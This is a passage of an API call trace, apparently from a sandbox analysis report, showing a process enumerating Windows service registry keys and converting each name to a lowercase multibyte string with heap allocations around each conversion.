RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.158] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.158] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.158] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.159] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.159] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.159] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.159] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.160] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.160] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.160] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.162] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.162] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.163] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.163] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.163] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.164] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.164] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.164] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.165] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.165] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.165] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 